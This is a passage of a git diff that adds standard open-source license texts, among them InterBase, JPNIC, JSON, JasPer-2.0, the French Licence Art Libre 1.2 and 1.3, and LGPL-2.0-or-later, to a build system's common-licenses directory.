+COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS'' BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. TERMINATION.
+
+8.1. This License and the rights granted hereunder will terminate automatically if You fail to comply with terms herein and fail to cure such breach within 30 days of becoming aware of the breach. All sublicenses to the Covered Code which are properly granted shall survive any termination of this License. Provisions which, by their nature, must remain in effect beyond the termination of this License shall survive.
+
+8.2. If You initiate litigation by asserting a patent infringement claim (excluding declatory judgment actions) against Initial Developer or a Contributor (the Initial Developer or Contributor against whom You file such action is referred to as "Participant") alleging that:
+
+ (a) such Participant's Contributor Version directly or indirectly infringes any patent, then any and all rights granted by such Participant to You under Sections 2.1 and/or 2.2 of this License shall, upon 60 days notice from Participant terminate prospectively, unless if within 60 days after receipt of notice You either: (i) agree in writing to pay Participant a mutually agreeable reasonable royalty for Your past and future use of Modifications made by such Participant, or (ii) withdraw Your litigation claim with respect to the Contributor Version against such Participant. If within 60 days of notice, a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Participant to You under Sections 2.1 and/or 2.2 automatically terminate at the expiration of the 60 day notice period specified above.
+
+ (b) any software, hardware, or device, other than such Participant's Contributor Version, directly or indirectly infringes any patent, then any rights granted to You by such Participant under Sections 2.1(b) and 2.2(b) are revoked effective as of the date You first made, used, sold, distributed, or had made, Modifications made by that Participant.
+
+8.3. If You assert a patent infringement claim against Participant alleging that such Participant's Contributor Version directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by such Participant under Sections 2.1 or 2.2 shall be taken into account in determining the amount or value of any payment or license.
+
+8.4. In the event of termination under Sections 8.1 or 8.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+9. LIMITATION OF LIABILITY.
+
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS.
+
+The Covered Code is a ''commercial item,'' as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of ''commercial computer software'' and ''commercial computer software documentation,'' as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. MISCELLANEOUS.
+
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. With respect to disputes in which at least one party is a citizen of, or an entity chartered or registered to do business in the United States of America, any litigation relating to this License shall be subject to the jurisdiction of the Federal Courts of the Northern District of California, with venue lying in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys' fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+12. RESPONSIBILITY FOR CLAIMS.
+
+As between Initial Developer and the Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License and You agree to work with Initial Developer and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+13. MULTIPLE-LICENSED CODE.
+
+Initial Developer may designate portions of the Covered Code as "Multiple-Licensed". "Multiple-Licensed" means that the Initial Developer permits you to utilize portions of the Covered Code under Your choice of the NPL or the alternative licenses, if any, specified by the Initial Developer in the file described in Exhibit A.
+
+EXHIBIT A - InterBase Public License.
+
+``The contents of this file are subject to the Interbase Public License Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.Interbase.com/IPL.html
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+
+The Original Code was created by InterBase Software Corp and its successors.
+
+Portions created by Borland/Inprise are Copyright (C) Borland/Inprise. All Rights Reserved.
+
+Contributor(s): ______________________________________.
+
+AMENDMENTS
+
+I. InterBase and logo. This License does not grant any rights to use the trademarks "Interbase'', "Java" or "JavaScript" even if such marks are included in the Original Code or Modifications.
+
+II. Trademark Usage.
+
+II.1. Advertising Materials. All advertising materials mentioning features or use of the covered Code must display the following acknowledgement: "This product includes software developed by Borland Software Corp. "
+
+II.2. Endorsements. The names "InterBase," "ISC," and "IB" must not be used to endorse or promote Contributor Versions or Larger Works without the prior written permission of Interbase.
+
+II.3. Product Names. Contributor Versions and Larger Works may not be called "InterBase" or "Interbase" nor may the word "InterBase" appear in their names without the prior written permission of Interbase.
diff --git a/meta/files/common-licenses/JPNIC b/meta/files/common-licenses/JPNIC
new file mode 100644
index 0000000000..6cc1d094c8
--- /dev/null
+++ b/meta/files/common-licenses/JPNIC
@@ -0,0 +1,40 @@
+Copyright (c) 2000-2002 Japan Network Information Center. All rights reserved.
+
+By using this file, you agree to the terms and conditions set forth bellow.
+
+ LICENSE TERMS AND CONDITIONS
+
+The following License Terms and Conditions apply, unless a different
+license is obtained from Japan Network Information Center ("JPNIC"),
+a Japanese association, Kokusai-Kougyou-Kanda Bldg 6F, 2-3-4 Uchi-Kanda,
+Chiyoda-ku, Tokyo 101-0047, Japan.
+
+1. Use, Modification and Redistribution (including distribution of any
+ modified or derived work) in source and/or binary forms is permitted
+ under this License Terms and Conditions.
+
+2. Redistribution of source code must retain the copyright notices as they
+ appear in each source code file, this License Terms and Conditions.
+
+3. Redistribution in binary form must reproduce the Copyright Notice,
+ this License Terms and Conditions, in the documentation and/or other
+ materials provided with the distribution. For the purposes of binary
+ distribution the "Copyright Notice" refers to the following language:
+ "Copyright (c) 2000-2002 Japan Network Information Center. All rights
+ reserved."
+
+4. The name of JPNIC may not be used to endorse or promote products
+ derived from this Software without specific prior written approval of
+ JPNIC.
+
+5. Disclaimer/Limitation of Liability: THIS SOFTWARE IS PROVIDED BY JPNIC
+ "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+ PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL JPNIC BE LIABLE
+ FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
+ BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+ WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+ ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/JSON b/meta/files/common-licenses/JSON
new file mode 100644
index 0000000000..e29500b0e2
--- /dev/null
+++ b/meta/files/common-licenses/JSON
@@ -0,0 +1,11 @@
+JSON License
+
+Copyright (c) 2002 JSON.org
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+The Software shall be used for Good, not Evil.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/JasPer-2.0 b/meta/files/common-licenses/JasPer-2.0
new file mode 100644
index 0000000000..93d11287d4
--- /dev/null
+++ b/meta/files/common-licenses/JasPer-2.0
@@ -0,0 +1,17 @@
+JasPer License Version 2.0
+
+Copyright (c) 2001-2006 Michael David Adams
+Copyright (c) 1999-2000 Image Power, Inc.
+Copyright (c) 1999-2000 The University of British Columbia
+
+All rights reserved.
+
+Permission is hereby granted, free of charge, to any person (the "User") obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+1. The above copyright notices and this permission notice (which includes the disclaimer below) shall be included in all copies or substantial portions of the Software.
+
+2. The name of a copyright holder shall not be used to endorse or promote products derived from the Software without specific prior written permission.
+
+THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS
+"AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO
+EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES.
diff --git a/meta/files/common-licenses/LAL-1.2 b/meta/files/common-licenses/LAL-1.2
new file mode 100644
index 0000000000..b8907ab6ff
--- /dev/null
+++ b/meta/files/common-licenses/LAL-1.2
@@ -0,0 +1,67 @@
+Licence Art Libre
+[ Copyleft Attitude ]
+
+Version 1.2
+
+Préambule :
+
+Avec cette Licence Art Libre, l’autorisation est donnée de copier, de diffuser et de transformer librement les oeuvres dans le respect des droits de l’auteur.
+
+Loin d’ignorer les droits de l’auteur, cette licence les reconnaît et les protège. Elle en reformule le principe en permettant au public de faire un usage créatif des oeuvres d’art.
+Alors que l’usage fait du droit de la propriété littéraire et artistique conduit à restreindre l’accès du public à l’oeuvre, la Licence Art Libre a pour but de le favoriser.
+L’intention est d’ouvrir l’accès et d’autoriser l’utilisation des ressources d’une oeuvre par le plus grand nombre. En avoir jouissance pour en multiplier les réjouissances, créer de nouvelles conditions de création pour amplifier les possibilités de création. Dans le respect des auteurs avec la reconnaissance et la défense de leur droit moral.
+
+En effet, avec la venue du numérique, l’invention de l’internet et des logiciels libres, un nouveau mode de création et de production est apparu. Il est aussi l’amplification de ce qui a été expérimenté par nombre d’artistes contemporains.
+Le savoir et la création sont des ressources qui doivent demeurer libres pour être encore véritablement du savoir et de la création. C’est à dire rester une recherche fondamentale qui ne soit pas directement liée à une application concrète. Créer c’est découvrir l’inconnu, c’est inventer le réel avant tout souci de réalisme.
+Ainsi, l’objet de l’art n’est pas confondu avec l’objet d’art fini et défini comme tel. C’est la raison essentielle de cette Licence Art Libre : promouvoir et protéger des pratiques artistiques libérées des seules règles de l’économie de marché.
+
+DÉFINITIONS
+
+– L’oeuvre :il s’agit d’une oeuvre commune qui comprend l’oeuvre originelle ainsi que toutes les contributions postérieures (les originaux conséquents et les copies). Elle est créée à l’initiative de l’auteur originel qui par cette licence définit les conditions selon lesquelles les contributions sont faites.
+
+– L’oeuvre originelle :c’est-à-dire l’oeuvre créée par l’initiateur de l’oeuvre commune dont les copies vont être modifiées par qui le souhaite.
+
+– Les oeuvres conséquentes :c’est-à-dire les propositions des auteurs qui contribuent à la formation de l’oeuvre en faisant usage des droits de reproduction, de diffusion et de modification que leur confère la licence.
+
+– Original (source ou ressource de l’oeuvre) :exemplaire daté de l’oeuvre, de sa définition, de sa partition ou de son programme que l’auteur présente comme référence pour toutes actualisations, interprétations, copies ou reproductions ultérieures.
+
+– Copie :toute reproduction d’un original au sens de cette licence.
+
+– Auteur de l’oeuvre originelle :c’est la personne qui a créé l’oeuvre à l’origine d’une arborescence de cette oeuvre modifiée. Par cette licence, l’auteur détermine les conditions dans lesquelles ce travail se fait.
+
+– Contributeur :toute personne qui contribue à la création de l’oeuvre. Il est l’auteur d’une oeuvre originale résultant de la modification d’une copie de l’oeuvre originelle ou de la modification d’une copie d’une oeuvre conséquente.
+
+1. OBJET
+Cette licence a pour objet de définir les conditions selon lesquelles vous pouvez jouir librement de cette oeuvre.
+
+2. L’ÉTENDUE DE LA JOUISSANCE
+Cette oeuvre est soumise au droit d’auteur, et l’auteur par cette licence vous indique quelles sont vos libertés pour la copier, la diffuser et la modifier:
+
+2.1 LA LIBERTÉ DE COPIER (OU DE REPRODUCTION)
+Vous avez la liberté de copier cette oeuvre pour un usage personnel, pour vos amis, ou toute autre personne et quelque soit la technique employée.
+
+2.2 LA LIBERTÉ DE DIFFUSER, D’INTERPRÉTER (OU DE REPRÉSENTATION)
+Vous pouvez diffuser librement les copies de ces oeuvres, modifiées ou non, quel que soit le support, quel que soit le lieu, à titre onéreux ou gratuit si vous respectez toutes les conditions suivantes:
+ – joindre aux copies, cette licence à l’identique, ou indiquer précisément où se trouve la licence, – indiquer au destinataire le nom de l’auteur des originaux, – indiquer au destinataire où il pourra avoir accès aux originaux (originels et/ou conséquents). L’auteur de l’original pourra, s’il le souhaite, vous autoriser à diffuser l’original dans les mêmes conditions que les copies.
+
+2.3 LA LIBERTÉ DE MODIFIER
+Vous avez la liberté de modifier les copies des originaux (originels et conséquents), qui peuvent être partielles ou non, dans le respect des conditions prévues à l’article 2.2 en cas de diffusion (ou représentation) de la copie modifiée. L’auteur de l’original pourra, s’il le souhaite, vous autoriser à modifier l’original dans les mêmes conditions que les copies.
+
+3. L’INCORPORATION DE L’OEUVRE
+Tous les éléments de cette oeuvre doivent demeurer libres, c’est pourquoi il ne vous est pas permis d’intégrer les originaux (originels et conséquents) dans une autre oeuvre qui ne serait pas soumise à cette licence.
+
+4. VOS DROITS D’AUTEUR
+Cette licence n’a pas pour objet de nier vos droits d’auteur sur votre contribution. En choisissant de contribuer à l’évolution de cette oeuvre, vous acceptez seulement d’offrir aux autres les mêmes droits sur votre contribution que ceux qui vous ont été accordés par cette licence.
+
+5. LA DURÉE DE LA LICENCE
+Cette licence prend effet dès votre acceptation de ses dispositions. Le fait de copier, de diffuser, ou de modifier l’oeuvre constitue une acception tacite. Cette licence a pour durée la durée des droits d’auteur attachés à l’oeuvre. Si vous ne respectez pas les termes de cette licence, vous perdez automatiquement les droits qu’elle vous confère. Si le régime juridique auquel vous êtes soumis ne vous permet pas de respecter les termes de cette licence, vous ne pouvez pas vous prévaloir des libertés qu’elle confère.
+
+6. LES DIFFÉRENTES VERSIONS DE LA LICENCE
+Cette licence pourra être modifiée régulièrement, en vue de son amélioration, par ses auteurs (les acteurs du mouvement « copyleft attitude ») sous la forme de nouvelles versions numérotées.
+Vous avez toujours le choix entre vous contenter des dispositions contenues dans la version sous laquelle la copie vous a été communiquée ou alors, vous prévaloir des dispositions d’une des versions ultérieures.
+
+7. LES SOUS-LICENCES
+Les sous licences ne sont pas autorisées par la présente. Toute personne qui souhaite bénéficier des libertés qu’elle confère sera liée directement à l’auteur de l’oeuvre originelle.
+
+8. LA LOI APPLICABLE AU CONTRAT
+Cette licence est soumise au droit français.
diff --git a/meta/files/common-licenses/LAL-1.3 b/meta/files/common-licenses/LAL-1.3
new file mode 100644
index 0000000000..ca1a447346
--- /dev/null
+++ b/meta/files/common-licenses/LAL-1.3
@@ -0,0 +1,88 @@
+Licence Art Libre 1.3 (LAL 1.3)
+
+Préambule :
+
+Avec la Licence Art Libre, l’autorisation est donnée de copier, de diffuser et de transformer librement les œuvres dans le respect des droits de l’auteur.
+
+Loin d’ignorer ces droits, la Licence Art Libre les reconnaît et les protège. Elle en reformule l’exercice en permettant à tout un chacun de faire un usage créatif des productions de l’esprit quels que soient leur genre et leur forme d’expression.
+
+Si, en règle générale, l’application du droit d’auteur conduit à restreindre l’accès aux œuvres de l’esprit, la Licence Art Libre, au contraire, le favorise. L’intention est d’autoriser l’utilisation des ressources d’une œuvre ; créer de nouvelles conditions de création pour amplifier les possibilités de création. La Licence Art Libre permet d’avoir jouissance des œuvres tout en reconnaissant les droits et les responsabilités de chacun.
+
+Avec le développement du numérique, l’invention d’internet et des logiciels libres, les modalités de création ont évolué : les productions de l’esprit s’offrent naturellement à la circulation, à l’échange et aux transformations. Elles se prêtent favorablement à la réalisation d’œuvres communes que chacun peut augmenter pour l’avantage de tous.
+
+C’est la raison essentielle de la Licence Art Libre : promouvoir et protéger ces productions de l’esprit selon les principes du copyleft : liberté d’usage, de copie, de diffusion, de transformation et interdiction d’appropriation exclusive.
+
+Définitions :
+
+Nous désignons par « œuvre », autant l’œuvre initiale, les œuvres conséquentes, que l’œuvre commune telles que définies ci-après :
+
+L’œuvre commune :Il s’agit d’une œuvre qui comprend l’œuvre initiale ainsi que toutes les contributions postérieures (les originaux conséquents et les copies). Elle est créée à l’initiative de l’auteur initial qui par cette licence définit les conditions selon lesquelles les contributions sont faites.
+
+L’œuvre initiale :C’est-à-dire l’œuvre créée par l’initiateur de l’œuvre commune dont les copies vont être modifiées par qui le souhaite.
+
+Les œuvres conséquentes :C’est-à-dire les contributions des auteurs qui participent à la formation de l’œuvre commune en faisant usage des droits de reproduction, de diffusion et de modification que leur confère la licence.
+
+Originaux (sources ou ressources de l’œuvre) :Chaque exemplaire daté de l’œuvre initiale ou conséquente que leurs auteurs présentent comme référence pour toutes actualisations, interprétations, copies ou reproductions ultérieures.
+
+Copie :Toute reproduction d’un original au sens de cette licence.
+
+1- OBJET.
+Cette licence a pour objet de définir les conditions selon lesquelles vous pouvez jouir librement de l’œuvre.
+
+2. L’ÉTENDUE DE LA JOUISSANCE.
+Cette œuvre est soumise au droit d’auteur, et l’auteur par cette licence vous indique quelles sont vos libertés pour la copier, la diffuser et la modifier.
+
+2.1 LA LIBERTÉ DE COPIER (OU DE REPRODUCTION).
+Vous avez la liberté de copier cette œuvre pour vous, vos amis ou toute autre personne, quelle que soit la technique employée.
+
+2.2 LA LIBERTÉ DE DIFFUSER (INTERPRÉTER, REPRÉSENTER, DISTRIBUER).
+Vous pouvez diffuser librement les copies de ces œuvres, modifiées ou non, quel que soit le support, quel que soit le lieu, à titre onéreux ou gratuit, si vous respectez toutes les conditions suivantes :
+
+ 1. joindre aux copies cette licence à l’identique ou indiquer précisément où se trouve la licence ;
+ 2. indiquer au destinataire le nom de chaque auteur des originaux, y compris le vôtre si vous avez modifié l’œuvre ;
+ 3. indiquer au destinataire où il pourrait avoir accès aux originaux (initiaux et/ou conséquents).
+
+Les auteurs des originaux pourront, s’ils le souhaitent, vous autoriser à diffuser l’original dans les mêmes conditions que les copies.
+
+2.3 LA LIBERTÉ DE MODIFIER.
+Vous avez la liberté de modifier les copies des originaux (initiaux et conséquents) dans le respect des conditions suivantes :
+
+ 1. celles prévues à l’article 2.2 en cas de diffusion de la copie modifiée ;
+ 2. indiquer qu’il s’agit d’une œuvre modifiée et, si possible, la nature de la modification ;
+ 3. diffuser cette œuvre conséquente avec la même licence ou avec toute licence compatible ;
+ 4. Les auteurs des originaux pourront, s’ils le souhaitent, vous autoriser à modifier l’original dans les mêmes conditions que les copies.
+
+3. DROITS CONNEXES.
+Les actes donnant lieu à des droits d’auteur ou des droits voisins ne doivent pas constituer un obstacle aux libertés conférées par cette licence. C’est pourquoi, par exemple, les interprétations doivent être soumises à la même licence ou une licence compatible. De même, l’intégration de l’œuvre à une base de données, une compilation ou une anthologie ne doit pas faire obstacle à la jouissance de l’œuvre telle que définie par cette licence.
+
+4. L’ INTÉGRATION DE L’ŒUVRE.
+Toute intégration de cette œuvre à un ensemble non soumis à la LAL doit assurer l’exercice des libertés conférées par cette licence.
+Si l’œuvre n’est plus accessible indépendamment de l’ensemble, alors l’intégration n’est possible qu’à condition que l’ensemble soit soumis à la LAL ou une licence compatible.
+
+5. CRITÈRES DE COMPATIBILITÉ.
+Une licence est compatible avec la LAL si et seulement si :
+
+ 1. elle accorde l’autorisation de copier, diffuser et modifier des copies de l’œuvre, y compris à des fins lucratives, et sans autres restrictions que celles qu’impose le respect des autres critères de compatibilité ;
+ 2. elle garantit la paternité de l’œuvre et l’accès aux versions antérieures de l’œuvre quand cet accès est possible ;
+ 3. elle reconnaît la LAL également compatible (réciprocité) ;
+ 4. elle impose que les modifications faites sur l’œuvre soient soumises à la même licence ou encore à une licence répondant aux critères de compatibilité posés par la LAL.
+
+6. VOS DROITS INTELLECTUELS.
+La LAL n’a pas pour objet de nier vos droits d’auteur sur votre contribution ni vos droits connexes. En choisissant de contribuer à l’évolution de cette œuvre commune, vous acceptez seulement d’offrir aux autres les mêmes autorisations sur votre contribution que celles qui vous ont été accordées par cette licence. Ces autorisations n’entraînent pas un dessaisissement de vos droits intellectuels.
+
+7. VOS RESPONSABILITÉS.
+La liberté de jouir de l’œuvre tel que permis par la LAL (liberté de copier, diffuser, modifier) implique pour chacun la responsabilité de ses propres faits.
+
+8. LA DURÉE DE LA LICENCE.
+Cette licence prend effet dès votre acceptation de ses dispositions. Le fait de copier, de diffuser, ou de modifier l’œuvre constitue une acceptation tacite.
+Cette licence a pour durée la durée des droits d’auteur attachés à l’œuvre. Si vous ne respectez pas les termes de cette licence, vous perdez automatiquement les droits qu’elle vous confère. Si le régime juridique auquel vous êtes soumis ne vous permet pas de respecter les termes de cette licence, vous ne pouvez pas vous prévaloir des libertés qu’elle confère.
+
+9. LES DIFFÉRENTES VERSIONS DE LA LICENCE.
+Cette licence pourra être modifiée régulièrement, en vue de son amélioration, par ses auteurs (les acteurs du mouvement Copyleft Attitude) sous la forme de nouvelles versions numérotées.
+Vous avez toujours le choix entre vous contenter des dispositions contenues dans la version de la LAL sous laquelle la copie vous a été communiquée ou alors, vous prévaloir des dispositions d’une des versions ultérieures.
+
+10. LES SOUS-LICENCES.
+Les sous-licences ne sont pas autorisées par la présente. Toute personne qui souhaite bénéficier des libertés qu’elle confère sera liée directement aux auteurs de l’œuvre commune.
+
+11. LE CONTEXTE JURIDIQUE.
+Cette licence est rédigée en référence au droit français et à la Convention de Berne relative au droit d’auteur.
diff --git a/meta/files/common-licenses/LGPL-2.0 b/meta/files/common-licenses/LGPL-2.0-only
index 5931d439b4..5931d439b4 100644
--- a/meta/files/common-licenses/LGPL-2.0
+++ b/meta/files/common-licenses/LGPL-2.0-only
diff --git a/meta/files/common-licenses/LGPL-2.0-or-later b/meta/files/common-licenses/LGPL-2.0-or-later
new file mode 100644
index 0000000000..5c96471aaf
--- /dev/null
+++ b/meta/files/common-licenses/LGPL-2.0-or-later
@@ -0,0 +1,446 @@
+GNU LIBRARY GENERAL PUBLIC LICENSE
+
+Version 2, June 1991 Copyright (C) 1991 Free Software Foundation, Inc.
+
+51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+[This is the first released version of the library GPL. It is numbered 2 because
+it goes with version 2 of the ordinary GPL.]
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share
+and change it. By contrast, the GNU General Public Licenses are intended to
+guarantee your freedom to share and change free software--to make sure the
+software is free for all its users.
+
+This license, the Library General Public License, applies to some specially
+designated Free Software Foundation software, and to any other libraries whose
+authors decide to use it. You can use it for your libraries, too.
+
+When we speak of free software, we are referring to freedom, not price. Our
+General Public Licenses are designed to make sure that you have the freedom
+to distribute copies of free software (and charge for this service if you
+wish), that you receive source code or can get it if you want it, that you
+can change the software or use pieces of it in new free programs; and that
+you know you can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to
+deny you these rights or to ask you to surrender the rights. These restrictions
+translate to certain responsibilities for you if you distribute copies of
+the library, or if you modify it.
+
+For example, if you distribute copies of the library, whether gratis or for
+a fee, you must give the recipients all the rights that we gave you. You must
+make sure that they, too, receive or can get the source code. If you link
+a program with the library, you must provide complete object files to the
+recipients so that they can relink them with the library, after making changes
+to the library and recompiling it. And you must show them these terms so they
+know their rights.
+
+Our method of protecting your rights has two steps: (1) copyright the library,
+and (2) offer you this license which gives you legal permission to copy, distribute
+and/or modify the library.
+
+Also, for each distributor's protection, we want to make certain that everyone
+understands that there is no warranty for this free library. If the library
+is modified by someone else and passed on, we want its recipients to know
+that what they have is not the original version, so that any problems introduced
+by others will not reflect on the original authors' reputations.
+
+Finally, any free program is threatened constantly by software patents. We
+wish to avoid the danger that companies distributing free software will individually
+obtain patent licenses, thus in effect transforming the program into proprietary
+software. To prevent this, we have made it clear that any patent must be licensed
+for everyone's free use or not licensed at all.
+
+Most GNU software, including some libraries, is covered by the ordinary GNU
+General Public License, which was designed for utility programs. This license,
+the GNU Library General Public License, applies to certain designated libraries.
+This license is quite different from the ordinary one; be sure to read it
+in full, and don't assume that anything in it is the same as in the ordinary
+license.
+
+The reason we have a separate public license for some libraries is that they
+blur the distinction we usually make between modifying or adding to a program
+and simply using it. Linking a program with a library, without changing the
+library, is in some sense simply using the library, and is analogous to running
+a utility program or application program. However, in a textual and legal
+sense, the linked executable is a combined work, a derivative of the original
+library, and the ordinary General Public License treats it as such.
+
+Because of this blurred distinction, using the ordinary General Public License
+for libraries did not effectively promote software sharing, because most developers
+did not use the libraries. We concluded that weaker conditions might promote
+sharing better.
+
+However, unrestricted linking of non-free programs would deprive the users
+of those programs of all benefit from the free status of the libraries themselves.
+This Library General Public License is intended to permit developers of non-free
+programs to use free libraries, while preserving your freedom as a user of
+such programs to change the free libraries that are incorporated in them.
+(We have not seen how to achieve this as regards changes in header files,
+but we have achieved it as regards changes in the actual functions of the
+Library.) The hope is that this will lead to faster development of free libraries.
+
